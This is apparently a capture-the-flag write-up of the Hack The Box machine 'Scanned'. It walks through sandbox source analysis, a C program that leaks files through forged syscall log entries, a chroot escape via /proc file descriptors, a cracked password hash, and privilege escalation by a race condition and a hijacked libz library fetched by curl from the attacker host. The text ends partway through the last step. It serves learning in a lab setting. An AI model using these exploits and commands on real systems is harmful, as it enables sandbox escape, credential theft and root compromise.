Scanned
20 minutes to read
- OS: Linux
- Difficulty: Insane
- IP Address: 10.10.11.141
- Release: 29 / 01 / 2022
Port scanning
# Nmap 7.92 scan initiated as: nmap -sC -sV -o nmap/targeted 10.10.11.141 -p 22,80
Nmap scan report for 10.10.11.141
Host is up (0.061s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5 (protocol 2.0)
| ssh-hostkey:
| 3072 6a:7b:14:68:97:01:4a:08:6a:e1:37:b1:d2:bd:8f:3f (RSA)
| 256 f6:b4:e1:10:f0:7b:38:48:66:34:c2:c6:28:ff:b8:25 (ECDSA)
|_ 256 c9:8b:96:19:51:e7:ce:1f:7d:3e:44:e9:a4:04:91:09 (ED25519)
80/tcp open http nginx 1.18.0
|_http-title: Malware Scanner
|_http-server-header: nginx/1.18.0
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done -- 1 IP address (1 host up) scanned in 10.60 seconds
This machine has ports 22 (SSH) and 80 (HTTP) open.
Web enumeration
If we go to http://10.10.11.141
, we will see a page like this:
It tells that they have developed a secure sandbox using chroot
, user namespaces and ptrace
. We have another page to upload a malware binary:
Just for testing, we can compile a simple C program like this one:
#include <stdio.h>
int main() {
printf("Hello, World!\n");
return 0;
}
$ gcc hello.c -o hello
And upload it. We will see this report on the system calls used by the binary:
We might need to analyze the source code for the sandbox and for the web application.
Analyzing sandbox code
This is the main
function of the program:
int main(int argc, char** argv) {
if (argc < 2) {
printf("Usage: %s <program> [uuid]\n", argv[0]);
exit(-2);
}
if (strlen(argv[1]) > FILENAME_MAX - 50) {
DIE("Program name too long");
}
if ((argv[1][0]) != '/') {
DIE("Program path must be absolute");
}
umask(0);
check_caps();
int result = mkdir("jails", 0771);
if (result == -1 && errno != EEXIST) {
DIE( "Could not create jail directory");
}
char uuid[33] = {0};
if (argc < 3) {
generate_uuid(uuid);
} else {
memcpy(uuid, argv[2], 32);
}
uuid[32] = 0;
make_jail(uuid, argv[1]);
}
The first check is that the sandbox
binary has enough capabilities:
void check_caps() {
struct user_cap_header_struct header;
struct user_cap_data_struct caps;
char pad[32];
header.version = _LINUX_CAPABILITY_VERSION_3;
header.pid = 0;
caps.effective = caps.inheritable = caps.permitted = 0;
syscall(SYS_capget, &header, &caps);
if (!(caps.effective & 0x2401c0)) {
DIE("Insufficient capabilities");
}
}
We can use capsh
to decode the hexadecimal representation of 0x2401c0
to capability names:
$ capsh --decode=0x2401c0
0x00000000002401c0=cap_setgid,cap_setuid,cap_setpcap,cap_sys_chroot,cap_sys_admin
So the binary has those capabilities, which are really interesting.
Then it does some configurations on the file system and finally calls make_jail
:
void make_jail(char* name, char* program) {
jailsfd = open("jails", O_RDONLY|__O_DIRECTORY);
if (faccessat(jailsfd, name, F_OK, 0) == 0) {
DIE("Jail name exists");
}
int result = mkdirat(jailsfd, name, 0771);
if (result == -1 && errno != EEXIST) {
DIE( "Could not create the jail");
}
if (access(program, F_OK) != 0) {
DIE("Program does not exist");
}
chdir("jails");
chdir(name);
copy_libs();
do_namespaces();
copy(program, "./userprog");
if (chroot(".")) {DIE("Couldn't chroot #1");}
if (setgid(1001)) {DIE("SGID");}
if (setegid(1001)) {DIE("SEGID");}
if (setuid(1001)) {DIE("SUID");};
if (seteuid(1001)) {DIE("SEUID");};
do_trace();
sleep(3);
}
Another useful function is copy_libs
:
void copy_libs() {
char* libs[] = {"libc.so.6", NULL};
char path[FILENAME_MAX] = {0};
char outpath[FILENAME_MAX] = {0};
system("mkdir -p bin usr/lib/x86_64-linux-gnu usr/lib64; cp /bin/sh bin");
for (int i = 0; libs[i] != NULL; i++) {
sprintf(path, "/lib/x86_64-linux-gnu/%s", libs[i]);
// sprintf(path, "/lib/%s", libs[i]);
sprintf(outpath, "./usr/lib/%s", libs[i]);
copy(path, outpath);
}
copy("/lib64/ld-linux-x86-64.so.2", "./usr/lib64/ld-linux-x86-64.so.2");
system("ln -s usr/lib64 lib64; ln -s usr/lib lib; chmod 755 -R usr bin");
}
Which shows that inside the jail we will have Glibc and /bin/sh
.
And there is another interesting function called do_namespaces
:
void do_namespaces() {
if (unshare(CLONE_NEWPID|CLONE_NEWNET) != 0) {DIE("Couldn't make namespaces");};
// Create pid-1
if (fork() != 0) {sleep(6); exit(-1);}
mkdir("./proc", 0555);
mount("/proc", "./proc", "proc", 0, NULL);
}
This one does something that can be abused. It is mounting the /proc
directory of a child process of sandbox
into the jail. This fact is useful for exploitation because we can read information about the sandbox
process.
Finally, the function make_jail
creates the chroot
environment and changes to that directory, sets the user and group permissions to UID/GID 1001 and finally calls do_trace
to trace the malware behavior:
void do_trace() {
// We started with capabilities - we must reset the dumpable flag
// so that the child can be traced
prctl(PR_SET_DUMPABLE, 1, 0, 0, 0, 0);
// Remove dangerous capabilities before the child starts
struct user_cap_header_struct header;
struct user_cap_data_struct caps;
char pad[32];
header.version = _LINUX_CAPABILITY_VERSION_3;
header.pid = 0;
caps.effective = caps.inheritable = caps.permitted = 0;
syscall(SYS_capget, &header, &caps);
caps.effective = 0;
caps.permitted = 0;
syscall(SYS_capset, &header, &caps);
int child = fork();
if (child == -1) {
DIE("Couldn't fork");
}
if (child == 0) {
do_child();
}
int killer = fork();
if (killer == -1) {
DIE("Couldn't fork (2)");
}
if (killer == 0) {
do_killer(child);
} else {
do_log(child);
}
}
This function is a bit large, but it is not complex. It does a first fork and calls do_child
which basically enables the malware binary to be dumpable by ptrace
and runs it with execve
:
void do_child() {
// Prevent child process from escaping chroot
close(jailsfd);
prctl(PR_SET_PDEATHSIG, SIGHUP);
ptrace(PTRACE_TRACEME, 0, NULL, NULL);
char* args[] = {NULL};
execve("/userprog", args, NULL);
DIE("Couldn't execute user program");
}
Then, it forks again and kills the malware execution after 5 seconds with do_killer
:
void do_killer(int pid) {
sleep(5);
if (kill(pid, SIGKILL) == -1) {DIE("Kill err");}
puts("Killed subprocess");
exit(0);
}
And at the same time, the function calls do_log
, which is a function that uses ptrace
to extract all the syscall
instructions used by the malware binary (actually in another function called log_syscall
):
void log_syscall(struct user_regs_struct regs, unsigned long ret) {
registers result;
result.rax = regs.orig_rax;
result.rdi = regs.rdi;
result.rsi = regs.rsi;
result.rdx = regs.rdx;
result.r10 = regs.r10;
result.r8 = regs.r8;
result.r9 = regs.r9;
result.ret = ret;
int fd = open("/log", O_CREAT|O_RDWR|O_APPEND, 0777);
if (fd == -1) {
return;
}
write(fd, &result, sizeof(registers));
close(fd);
}
All the syscall
instructions will be added to a log
file that is inside the chroot
environment. And this log
file is analyzed by the web server and printed out as a report.
Analyzing web application
We are also given the web application source code, which is a Django application (written in Python). Django projects have a lot of files, but most of them are default ones.
This is the function that executes the malware binary inside the sandbox (scanner/views.py
):
def handle_file(file):
md5 = calculate_file_md5(file)
path = f"{settings.FILE_PATH}/{md5}"
with open(path, 'wb+') as f:
for chunk in file.chunks():
f.write(chunk)
os.system(f"cd {settings.SBX_PATH}; ./sandbox {path} {md5}")
os.remove(path)
return md5
We might think of command injection because of string interpolation, but none of the variables seem to be external, so we can’t control them.
Inside viewer/views.py
we see two functions:
def view_file(request, md5: str):
path = f"{settings.SBX_PATH}/jails/{md5}"
if not os.path.exists(path):
raise Http404("A sample with this hash has not been uploaded.")
logfile = f"{path}/log"
if not os.path.exists(logfile):
return HttpResponse("There was an error logging this application")
syscalls = [call.render() for call in parse_log(logfile)]
ignore = list(filter(lambda call: call[0] == SyscallClass.Ignore, syscalls))
low = list(filter(lambda call: call[0] == SyscallClass.Low, syscalls))
med = list(filter(lambda call: call[0] == SyscallClass.Medium, syscalls))
high = list(filter(lambda call: call[0] == SyscallClass.High, syscalls))
render_vars = {"md5": md5, "ignore": ignore, "low": low, "med": med, "high": high}
return render(request, 'view.html', render_vars)
def parse_log(path):
syscalls = []
with open(path, 'rb') as f:
chunk = f.read(8 * 8)
nums = struct.unpack("q" * 8, chunk)
while len(chunk) == 8*8:
nums = struct.unpack("q" * 8, chunk)
call = LoggedSyscall(nums)
syscalls.append(call)
chunk = f.read(8 * 8)
return syscalls
These functions are used to parse the log
file generated by the sandbox
binary, and render them in the report.
We can see another file viewer/syscalls.py
where the syscall
instructions found in the log
file are parsed and classified depending on the registers setup ($rax
, $rdi
, $rsi
…):
import numbers
import enum
from typing import List, Tuple
class SyscallClass(enum.Enum):
Ignore = 0
Low = 1
Medium = 2
High = 3
def __gt__(self, other):
if isinstance(other, numbers.Real):
return self.value > other
return self.value > other.value
def __lt__(self, other):
if isinstance(other, numbers.Real):
return self.value < other
return self.value < other.value
# Class, name, syscall number, arg count
syscalls = [
[SyscallClass.Low, "read", 0, 3],
[SyscallClass.Low, "write", 1, 3],
[SyscallClass.Medium, "open", 2, 3],
[SyscallClass.Low, "close", 3, 1],
[SyscallClass.Medium, "stat", 4, 2],
[SyscallClass.Medium, "fstat", 5, 2],
[SyscallClass.Medium, "lstat", 6, 2],
[SyscallClass.Medium, "access", 21, 2],
[SyscallClass.Low, "alarm", 37, 1],
[SyscallClass.High, "socket", 41, 3],
[SyscallClass.High, "connect", 42, 3],
[SyscallClass.High, "accept", 43, 3],
[SyscallClass.High, "shutdown", 48, 2],
[SyscallClass.High, "bind", 49, 3],
[SyscallClass.High, "listen", 50, 2],
[SyscallClass.Medium, "clone", 56, 5],
[SyscallClass.Medium, "fork", 57, 0],
[SyscallClass.Medium, "vfork", 58, 0],
[SyscallClass.High, "execve", 59, 3],
[SyscallClass.High, "kill", 62, 2],
[SyscallClass.Medium, "uname", 63, 1],
[SyscallClass.Medium, "getdents", 78, 3],
[SyscallClass.Medium, "getcwd", 79, 2],
[SyscallClass.Medium, "chdir", 80, 1],
[SyscallClass.Medium, "fchdir", 81, 1],
[SyscallClass.High, "rename", 82, 2],
[SyscallClass.Low, "mkdir", 83, 2],
[SyscallClass.High, "rmdir", 84, 1],
[SyscallClass.High, "unlink", 87, 1],
[SyscallClass.Medium, "chmod", 90, 2],
[SyscallClass.Medium, "fchmod", 91, 2],
[SyscallClass.High, "chown", 92, 3],
[SyscallClass.High, "fchown", 93, 3],
[SyscallClass.High, "ptrace", 101, 4],
]
template = """<div class="alert alert-{}" style="width: 80%" role="alert">
<p style="font-family: Courier New,Courier,Lucida Sans Typewriter,Lucida Typewriter,monospace;">{}({}) = {}</pre>
</div>
"""
class LoggedSyscall:
sys_num: int
rdi: int
rsi: int
rdx: int
r10: int
r8: int
r9: int
ret: int
def __init__(self, values):
self.sys_num, self.rdi, self.rsi, self.rdx, \
self.r10, self.r8, self.r9, self.ret = values
def get_args(self, count) -> List[int]:
if count == 0:
return []
if count == 1:
return [self.rdi]
if count == 2:
return [self.rdi, self.rsi]
if count == 3:
return [self.rdi, self.rsi, self.rdx]
if count == 4:
return [self.rdi, self.rsi, self.rdx, self.r10]
if count == 5:
return [self.rdi, self.rsi, self.rdx, self.r10, self.r8]
if count == 6:
return [self.rdi, self.rsi, self.rdx, self.r10, self.r8, self.r9]
def render(self) -> Tuple[SyscallClass, str]:
status = "light"
for sys_entry in syscalls:
if sys_entry[2] == self.sys_num:
if sys_entry[0] == SyscallClass.Low:
status = "success"
elif sys_entry[0] == SyscallClass.Medium:
status = "warning"
elif sys_entry[0] == SyscallClass.High:
status = "danger"
rendered = template.format(status, f"{sys_entry[1]}", ", ".join([
hex(x) for x in self.get_args(sys_entry[3])
]), hex(self.ret))
return sys_entry[0], rendered
rendered = template.format(status, f"sys_{self.sys_num}", "", hex(self.ret))
return SyscallClass.Ignore, rendered
Abusing misconfigurations
First of all, we might want to escape from chroot
jail by using the traditional technique of creating another chroot
environment and climbing up to the real root directory and calling chroot
again. However, this doesn’t work because the chroot
environment is correctly setup.
In order to do some tests locally, I copied the sources in this machine and started the same project they have:
$ python3 manage.py migrate
Operations to perform:
Apply all migrations: admin, auth, contenttypes, sessions
Running migrations:
Applying contenttypes.0001_initial... OK
Applying auth.0001_initial... OK
Applying admin.0001_initial... OK
Applying admin.0002_logentry_remove_auto_add... OK
Applying admin.0003_logentry_add_action_flag_choices... OK
Applying contenttypes.0002_remove_content_type_name... OK
Applying auth.0002_alter_permission_name_max_length... OK
Applying auth.0003_alter_user_email_max_length... OK
Applying auth.0004_alter_user_username_opts... OK
Applying auth.0005_alter_user_last_login_null... OK
Applying auth.0006_require_contenttypes_0002... OK
Applying auth.0007_alter_validators_add_error_messages... OK
Applying auth.0008_alter_user_username_max_length... OK
Applying auth.0009_alter_user_last_name_max_length... OK
Applying auth.0010_alter_group_name_max_length... OK
Applying auth.0011_update_proxy_permissions... OK
Applying auth.0012_alter_user_first_name_max_length... OK
Applying sessions.0001_initial... OK
$ python3 manage.py runserver
Watching for file changes with StatReloader
Performing system checks...
System check identified no issues (0 silenced).
Django version 3.2.6, using settings 'malscanner.settings'
Starting development server at http://127.0.0.1:8000/
Quit the server with CONTROL-C.
Since traditional chroot
escapes don’t work, we need to keep things simple. For example, we can try to list directories from the malware binary perspective using this C script:
#include <dirent.h>
#include <stdio.h>
int main() {
DIR* dr;
struct dirent *de;
dr = opendir(".");
if (dr == NULL) {
printf("Could not open current directory");
return 1;
}
while ((de = readdir(dr)) != NULL) {
printf("%s\n", de->d_name);
}
closedir(dr);
return 0;
}
We compile it and upload it and we see the output in the server log:
[] "GET /scanner/upload HTTP/1.1" 301 0
[] "GET /scanner/upload/ HTTP/1.1" 200 2189
usr
.
lib
userprog
bin
proc
..
lib64
log
Exited
[] "POST /scanner/upload/ HTTP/1.1" 302 0
[] "GET /viewer/ce6407480db61da2177849329f4aeb83 HTTP/1.1" 301 0
[] "GET /viewer/ce6407480db61da2177849329f4aeb83/ HTTP/1.1" 200 18239
Alright, so we have those directories and files. We can continue enumerating the file system locally from the server log, but eventually, we need to find a way to have an output.
In fact, there is a very cool way using the log
file. We can insert the information we want to exfiltrate as if it were a syscall
instruction inside the log
, so that the web server prints it out in the report. Then, we can extract the information.
We can make use of the same functions that are in tracing.c
from the source code we have and write them in the log
:
#include <dirent.h>
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
typedef struct __attribute__((__packed__)) {
unsigned long rax;
unsigned long rdi;
unsigned long rsi;
unsigned long rdx;
unsigned long r10;
unsigned long r8;
unsigned long r9;
unsigned long ret;
} registers;
void log_syscall(registers regs, unsigned long ret) {
registers result;
result.rax = regs.rax;
result.rdi = regs.rdi;
result.rsi = regs.rsi;
result.rdx = regs.rdx;
result.r10 = regs.r10;
result.r8 = regs.r8;
result.r9 = regs.r9;
result.ret = ret;
int fd = open("/log", O_CREAT|O_RDWR|O_APPEND, 0777);
if (fd == -1) {
return;
}
write(fd, &result, sizeof(registers));
close(fd);
}
int main() {
DIR* dr;
struct dirent *de;
registers regs;
unsigned long ret;
regs.rax = 0x3b;
regs.rdi = 0x41414141;
regs.rsi = 0x42424242;
regs.rdx = 0x43434343;
regs.r10 = 0x44444444;
regs.r8 = 0x45454545;
regs.r9 = 0x46464646;
ret = 0x47474747;
dr = opendir(".");
if (dr == NULL) {
printf("Could not open current directory");
return 1;
}
while ((de = readdir(dr)) != NULL) {
printf("%s\n", de->d_name);
}
log_syscall(regs, ret);
closedir(dr);
return 0;
}
The above script will register a sys_execve
($rax = 0x3b
) using some recognizable numbers as register values. If we upload it and watch the output, we will see the syscall
reported:
We notice that not all registers are shown. That’s because sys_execve
only needs three arguments. If we wanted more, we could have used sys_clone
, which uses five registers, but I will still use sys_execve
, because I will be using only ret
as output.
Now we need to parse the information we want to exfiltrate as hexadecimal values and set the ret
value accordingly. This is an example to exfiltrate the listing of the current working directory:
#include <dirent.h>
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
typedef struct __attribute__((__packed__)) {
unsigned long rax;
unsigned long rdi;
unsigned long rsi;
unsigned long rdx;
unsigned long r10;
unsigned long r8;
unsigned long r9;
unsigned long ret;
} registers;
void log_syscall(unsigned long ret) {
registers result;
result.rax = 0x3b;
result.rdi = 0;
result.rsi = 0;
result.rdx = 0;
result.r10 = 0;
result.r8 = 0;
result.r9 = 0;
result.ret = ret;
int fd = open("/log", O_CREAT|O_RDWR|O_APPEND, 0777);
if (fd == -1) {
return;
}
write(fd, &result, sizeof(registers));
close(fd);
}
void read_file(char* path) {
unsigned long ret = 0l;
char ret_string[8] = {0, 0, 0, 0, 0, 0, 0, 0};
int fd = open(path, O_RDONLY);
while (read(fd, ret_string, 8)) {
ret = 0l;
for (int i = 0; i < 8; i++) {
ret <<= 8;
ret += ret_string[i];
ret_string[i] = 0;
}
log_syscall(ret);
}
close(fd);
}
int main() {
DIR* dr;
struct dirent *de;
FILE* fp;
fp = fopen("tmp_file", "wb");
dr = opendir(".");
while ((de = readdir(dr)) != NULL) {
fprintf(fp, "%s\n", de->d_name);
}
closedir(dr);
fclose(fp);
read_file("tmp_file");
return 0;
}
Using curl
and some filtering we can extract the information:
$ curl 127.0.0.1:8000/viewer/bfd6801836d0fa311b9a58c8fd25da94/ -s | grep execve
<p style="font-family: Courier New,Courier,Lucida Sans Typewriter,Lucida Typewriter,monospace;">execve(0x0, 0x0, 0x0) = 0x7573720a2e0a746d</pre>
<p style="font-family: Courier New,Courier,Lucida Sans Typewriter,Lucida Typewriter,monospace;">execve(0x0, 0x0, 0x0) = 0x705f66696c650a6c</pre>
<p style="font-family: Courier New,Courier,Lucida Sans Typewriter,Lucida Typewriter,monospace;">execve(0x0, 0x0, 0x0) = 0x69620a7573657270</pre>
<p style="font-family: Courier New,Courier,Lucida Sans Typewriter,Lucida Typewriter,monospace;">execve(0x0, 0x0, 0x0) = 0x726f670a62696e0a</pre>
<p style="font-family: Courier New,Courier,Lucida Sans Typewriter,Lucida Typewriter,monospace;">execve(0x0, 0x0, 0x0) = 0x70726f630a2e2e0a</pre>
<p style="font-family: Courier New,Courier,Lucida Sans Typewriter,Lucida Typewriter,monospace;">execve(0x0, 0x0, 0x0) = 0x6c696236340a6c6f</pre>
<p style="font-family: Courier New,Courier,Lucida Sans Typewriter,Lucida Typewriter,monospace;">execve(0x0, 0x0, 0x0) = 0x670a000000000000</pre>
$ curl 127.0.0.1:8000/viewer/bfd6801836d0fa311b9a58c8fd25da94/ -s | grep execve | awk -F = '{ print $3 }'
0x7573720a2e0a746d</pre>
0x705f66696c650a6c</pre>
0x69620a7573657270</pre>
0x726f670a62696e0a</pre>
0x70726f630a2e2e0a</pre>
0x6c696236340a6c6f</pre>
0x670a000000000000</pre>
$ curl 127.0.0.1:8000/viewer/bfd6801836d0fa311b9a58c8fd25da94/ -s | grep execve | awk -F = '{ print $3 }' | sed 's/<\/pre>//g'
0x7573720a2e0a746d
0x705f66696c650a6c
0x69620a7573657270
0x726f670a62696e0a
0x70726f630a2e2e0a
0x6c696236340a6c6f
0x670a000000000000
$ curl 127.0.0.1:8000/viewer/bfd6801836d0fa311b9a58c8fd25da94/ -s | grep execve | awk -F = '{ print $3 }' | sed 's/<\/pre>//g' | awk -F x '{ printf "%16s\n", $2 }'
7573720a2e0a746d
705f66696c650a6c
69620a7573657270
726f670a62696e0a
70726f630a2e2e0a
6c696236340a6c6f
670a000000000000
$ curl 127.0.0.1:8000/viewer/bfd6801836d0fa311b9a58c8fd25da94/ -s | grep execve | awk -F = '{ print $3 }' | sed 's/<\/pre>//g' | awk -F x '{ printf "%16s\n", $2 }' | xxd -r -p
usr
.
tmp_file
lib
userprog
bin
proc
..
lib64
log
We can follow the same process to read files from the sandbox environment. In the end, I decided to build a Bash script that compiles a binary with the file to read or directory to list, uploads it and extracts all the information automatically. This script is called exploit.sh
(detailed explanation here):
$ bash exploit.sh
[!] Usage: bash exploit.sh <host> <f|d> <path-to-file|dir>
$ bash exploit.sh 127.0.0.1:8000 d /
usr
.
tmp_file
lib
userprog
bin
proc
..
lib64
log
Now we can start enumerating the /proc
directory in the remote machine. As explained before, there is a misconfiguration because the sandbox
binary mounts /proc
directory into the chroot
environment, so we can access it from the sandbox:
$ bash exploit.sh 10.10.11.141 d /proc
.
..
fb
fs
bus
dma
irq
mpt
net
sys
tty
acpi
keys
kmsg
misc
mtrr
stat
iomem
kcore
locks
swaps
crypto
driver
mounts
uptime
vmstat
cgroups
cmdline
cpuinfo
devices
ioports
loadavg
meminfo
modules
sysvipc
version
consoles
kallsyms
pressure
slabinfo
softirqs
zoneinfo
buddyinfo
diskstats
key-users
schedstat
interrupts
kpagecount
kpageflags
partitions
timer_list
execdomains
filesystems
kpagecgroup
sched_debug
vmallocinfo
pagetypeinfo
dynamic_debug
sysrq-trigger
self
thread-self
1
2
3
There are three different process identifiers (PID): 1
, 2
and 3
. We are able to list the file descriptors used by those PID:
$ bash exploit.sh 10.10.11.141 d /proc/1/fd
.
..
0
1
2
3
$ bash exploit.sh 10.10.11.141 d /proc/2/fd
.
..
0
1
2
3
4
$ bash exploit.sh 10.10.11.141 d /proc/3/fd
.
..
0
1
2
3
We notice that if we list the file descriptor number 3
(as a directory) we are listing the jails
directory:
$ bash exploit.sh 10.10.11.141 d /proc/1/fd/3
7d431ab8af5ab635e048e40f36f69536
.
720e0160ff47fcd4da968b89de05d5e9
..
$ bash exploit.sh 10.10.11.141 d /proc/3/fd/3
.
720e0160ff47fcd4da968b89de05d5e9
..
For some reason, we get more information with /proc/1/fd/3
, so I will continue using this. Actually, we can climb up directories, escaping from chroot
environment:
$ bash exploit.sh 10.10.11.141 d /proc/1/fd/3/..
jails
.
..
sandbox
$ bash exploit.sh 10.10.11.141 f /proc/1/fd/3/../../../../../etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:101:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
clarence:x:1000:1000:clarence,,,:/home/clarence:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
sandbox:x:1001:1001::/home/sandbox:/usr/sbin/nologin
Foothold on the machine
Nice, now we have a system user called clarence
and we can read files from the server. Let’s enumerate a bit more the web server:
$ bash exploit.sh 10.10.11.141 d /proc/1/fd/3/../..
scanner
.
malscanner
..
viewer
templates
.gitignore
sandbox
static
manage.py
uploads
uwsgi_params
requirements.txt
malscanner.db
There is a SQLite database file called malscanner.db
. Let’s try to download it and open it:
$ bash exploit.sh 10.10.11.141 f /proc/1/fd/3/../../malscanner.db > malscanner.db
$ file malscanner.db
malscanner.db: SQLite 3.x database, last written using SQLite version 3033745, file counter 34, database pages 32, cookie 0x42, schema 4, UTF-8, version-valid-for 34
$ sqlite3 malscanner.db
SQLite version 3.37.0 2021-12-09 01:34:53
Enter ".help" for usage hints.
sqlite> .tables
Error: database disk image is malformed
sqlite> .exit
It is corrupt… But we can take a look at the strings inside, and find an MD5 hash for clarence
:
$ strings malscanner.db | grep clarence
md5$kL2cLcK2yhbp3za4w3752m$9886e17b091eb5ccdc39e436128141cf2021-09-14 18:39:55.237074clarence2021-09-14 18:36:46.227819
clarence
Since it is in Django format and contains a salt, I decided to use a custom Go script to crack it using rockyou.txt
: crack.go
(detailed explanation here):
$ go run crack.go $WORDLISTS/rockyou.txt 'md5$kL2cLcK2yhbp3za4w3752m$9886e17b091eb5ccdc39e436128141cf'
[*] Algorithm: md5
[*] Salt: kL2cLcK2yhbp3za4w3752m
[*] Hash: 9886e17b091eb5ccdc39e436128141cf
[+] Cracked: onedayyoufeellikecrying
And we got a password. Fortunately, this password is reused for SSH. And there we have user.txt
flag:
$ ssh clarence@10.10.11.141
clarence@10.10.11.141's password:
clarence@scanned:~$ cat user.txt
8e6287143ba5f57564bd0fb2ac7f733e
Library Hijacking
Now we have the ability to run the sandbox
from the machine and perform more actions with prepared malware.
For instance, we can run SUID binaries and copy shared libraries from inside the jail so that the malware can use them and run commands as root
:
clarence@scanned:~$ find / -perm -4000 2>/dev/null
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/chsh
/usr/bin/su
/usr/bin/fusermount
/usr/bin/passwd
/usr/bin/sudo
/usr/bin/mount
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/chfn
/usr/bin/umount
Let’s check which shared libraries they need to run properly: fusermount
needs the libraries that are already inside the jail, which are needed for /bin/sh
as well:
clarence@scanned:~$ ldd /usr/bin/fusermount
linux-vdso.so.1 (0x00007ffe36170000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f1fb50e4000)
/lib64/ld-linux-x86-64.so.2 (0x00007f1fb52ba000)
clarence@scanned:~$ ldd /bin/sh
linux-vdso.so.1 (0x00007ffe3d5a6000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fc39def7000)
/lib64/ld-linux-x86-64.so.2 (0x00007fc39e0e5000)
To craft a malicious Glibc shared library, we can use fakelib.sh
. First, we must download the libc.so.6
library to our attacker machine.
However, using fakelib.sh
on libc.so.6
might not run correcty. After some tests, I found that /usr/lib/openssh/ssh-keysign
is SUID and uses libz.so.1
:
clarence@scanned:~$ ldd /usr/lib/openssh/ssh-keysign
/usr/lib/openssh/ssh-keysign:
linux-vdso.so.1 (0x00007ffdbe9e8000)
libcrypto.so.1.1 => /lib/x86_64-linux-gnu/libcrypto.so.1.1 (0x00007f72529b4000)
libz.so.1 => /lib/x86_64-linux-gnu/libz.so.1 (0x00007f7252997000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f72527d2000)
libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007f72527cc000)
libpthread.so.0 => /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007f72527aa000)
/lib64/ld-linux-x86-64.so.2 (0x00007f7252d27000)
So we need to download libz.so.1
:
clarence@scanned:~$ cd /
clarence@scanned:/$ python3 -m http.server 1234
Serving HTTP on 0.0.0.0 port 1234 (http://0.0.0.0:1234/) ...
$ wget -q 10.10.11.141:1234/lib/x86_64-linux-gnu/libz.so.1
This library libz.so.1
won’t cause errors with fakelib.sh
(maybe because it is smaller than libc.so.6
). Now we can craft a fake library to see if the attack works:
$ bash fakelib.sh -l libz.so.1 -o fakelibz.so.1 -g
Generating fake library under fakelibz.so.1
$ python3 -m http.server 80
Serving HTTP on :: port 80 (http://[::]:80/) ...
clarence@scanned:/$ cd /tmp
clarence@scanned:/tmp$ curl 10.10.17.44/fakelibz.so.1 -so .libz.so.1
We need to use a Bash script (.copy.sh
) to run it right after the sandbox
binary in order to copy all the needed files into the jail:
#!/usr/bin/env bash
dir=/var/www/malscanner/sandbox/jails
for jail in $(ls $dir); do
cp /lib/x86_64-linux-gnu/libcrypto.so.1.1 $dir/$jail/lib/x86_64-linux-gnu/
cp /lib/x86_64-linux-gnu/libdl.so.2 $dir/$jail/lib/x86_64-linux-gnu/
cp /lib/x86_64-linux-gnu/libpthread.so.0 $dir/$jail/lib/x86_64-linux-gnu/
cp /tmp/.libz.so.1 $dir/$jail/lib/x86_64-linux-gnu/libz.so.1
done
And the malware binary will be compiled from this simple C script (.exploit.c
):
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
sleep(2);
system("/proc/1/fd/3/../../../../../usr/lib/openssh/ssh-keysign");
return 0;
}
Notice that we are running ssh-keysign
escaping from chroot
, so that it executes as a SUID binary.
After writing them on the machine, we must run sandbox
and right after run the Bash script (notice that I added the sleep(2)
to have some time in between). It is kind of a race condition. We will need two different SSH sessions:
$ ssh clarence@10.10.11.141
clarence@10.10.11.141's password:
clarence@scanned:~$ cd /var/www/malscanner/sandbox
clarence@scanned:/var/www/malscanner/sandbox$ ./sandbox /tmp/.exploit
clarence@scanned:/tmp$ bash .copy.sh
And we will see this output:
clarence@scanned:/var/www/malscanner/sandbox$ ./sandbox /tmp/.exploit
Library hijacked!
Exited
Kill err: (3)
So the attack has worked. Now we can run a custom command using fakelib.sh
. The script provides the use of bash
setting UID/GID to EUID/EGID:
$ bash fakelib.sh -l libz.so.1 -o fakelibz.so.1 -g -p bash
Generating fake library under fakelibz.so.1
$ python3 -m http.server 80
Serving HTTP on :: port 80 (http://[::]:80/) ...
clarence@scanned:/tmp$ curl 10.10.17.44/fakelibz.so.1 -so .libz.so.1
Moreover, we need to copy /bin/bash
and more shared libraries into the jail:
clarence@scanned:/tmp$ ldd /bin/bash
linux-vdso.so.1 (0x00007fff80bec000)
